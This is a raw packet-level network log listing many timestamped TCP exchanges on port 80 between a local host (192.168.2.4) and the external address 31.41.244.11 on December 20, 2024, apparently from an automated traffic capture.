Dec 20, 2024 07:12:19.769573927 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.769633055 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.769697905 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.769767046 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.770777941 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.770859003 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.770904064 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.770960093 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.771907091 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.771965027 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.772026062 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.772083044 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.773083925 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.773143053 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.773175955 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.773233891 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.774259090 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.774316072 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.774385929 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.774445057 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.775388956 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.775446892 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.775502920 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.775563955 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.776593924 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.776628017 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.776644945 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.776675940 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.777731895 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.777786970 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.777844906 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.777896881 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.778908968 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.778961897 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.778997898 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.779046059 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.780052900 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.780114889 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.780155897 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.780211926 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.781315088 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.781398058 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.781440973 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.781497002 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.782380104 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.782437086 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.782483101 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.782538891 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.783534050 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.783586979 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.783590078 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.783641100 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.784688950 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.784749031 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.784813881 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.784876108 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.785864115 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.785922050 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.786032915 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.786092043 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.787100077 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.787152052 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.787231922 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.787290096 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.788161993 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.788220882 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.788278103 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.788335085 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.789335012 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.789386034 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.789450884 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.789509058 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.790482044 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.790539026 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.790592909 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.790646076 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.791641951 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.791716099 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.791762114 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.791809082 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.792824030 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.792876005 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.792921066 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.792968988 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.793986082 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.794037104 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.794114113 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.794162035 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.795124054 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.795175076 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.795176983 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.795226097 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.796287060 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.796338081 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.796401978 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.796461105 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.797454119 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.797507048 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.797570944 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.797620058 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.798651934 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.798701048 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.798764944 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.798814058 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.799773932 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.799822092 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.799900055 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.799951077 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.800940037 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.800988913 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.801053047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.801114082 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.802092075 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.802153111 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.802232027 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.802304029 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.803255081 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.803306103 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.803391933 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.803441048 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.804465055 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.804512978 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.804575920 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.804625988 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.805598021 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.805649042 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.805713892 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.805762053 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.806757927 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.806808949 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.806886911 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.806936979 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.807924032 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.807996988 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.808053970 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.808105946 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.809112072 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.809161901 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.809238911 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.809288979 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.810254097 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.810305119 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.941432953 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.941521883 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.941612005 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.941941977 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.942030907 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.942048073 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.942101002 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.943130016 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.943181992 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.943237066 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.943290949 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.944292068 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.944348097 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.944427013 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.944483042 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.945439100 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.945492983 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.945557117 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.945611954 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.946597099 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.946652889 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.946717024 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.946777105 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.947747946 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.947805882 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.947870970 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.947926998 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.948949099 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.949003935 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.949003935 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.949053049 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.950098991 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.950158119 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.950203896 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.950253963 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.951277018 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.951329947 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.951374054 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.951428890 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.952419996 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.952497005 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.952536106 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.952584982 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.953577042 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.953630924 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.953696012 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.953751087 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.954741001 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.954797029 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.954865932 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.954921961 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.955903053 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.955957890 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.956022978 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.956078053 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.957061052 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.957115889 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.957175016 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.957230091 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.958216906 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.958276033 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.958331108 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.958389997 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.959378004 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.959434032 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.959490061 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.959542036 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.960536003 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.960592031 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.960656881 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.960710049 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.961714983 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.961771011 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.961802006 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.961855888 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.962874889 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.962937117 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.962980032 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.963032961 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.964025974 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.964081049 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.964159012 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.964214087 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.965189934 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.965245962 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.965307951 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.965361118 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.966341019 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.966397047 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.966459990 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.966510057 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.967529058 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.967581034 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.967629910 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.967684031 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.968671083 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.968724966 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.968735933 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.968790054 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.969831944 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.969891071 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.969957113 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.970010042 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.971012115 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.971065998 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.971120119 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.971174955 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.972192049 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.972249985 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.972295046 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.972354889 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.973321915 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.973409891 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.973489046 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.973542929 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.974490881 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.974548101 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.974611998 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.974667072 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.975653887 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.975711107 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.975759983 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.975814104 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.976819992 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.976874113 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.976937056 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.976990938 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.977982998 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.978039026 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.978102922 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.978157043 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.979151964 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.979217052 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.979268074 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.979331017 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.980329037 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.980385065 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.980417013 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.980470896 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.981452942 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.981508970 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.981636047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.981694937 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.982655048 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.982691050 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.982711077 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.982738972 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.983783007 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.983858109 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.983982086 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.984036922 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.984986067 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.985043049 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.985110044 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.985162973 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.986114025 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.986165047 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.986186981 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.986242056 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.987272024 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.987328053 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.987396955 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.987451077 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.988501072 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.988559008 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.988624096 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.988678932 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.989588976 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.989644051 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.989723921 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.989778042 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.990761995 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.990814924 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.990880013 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.990935087 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.991919994 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.991972923 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.992050886 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.992105961 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.993086100 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.993141890 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.993197918 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.993249893 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.994242907 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.994318962 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.994381905 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.994437933 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.995429039 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.995486021 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.995526075 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.995584011 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.996581078 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.996634960 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.996699095 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.996757030 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.997747898 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.997803926 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.997853041 CET	80	49777	31.41.244.11	192.168.2.4
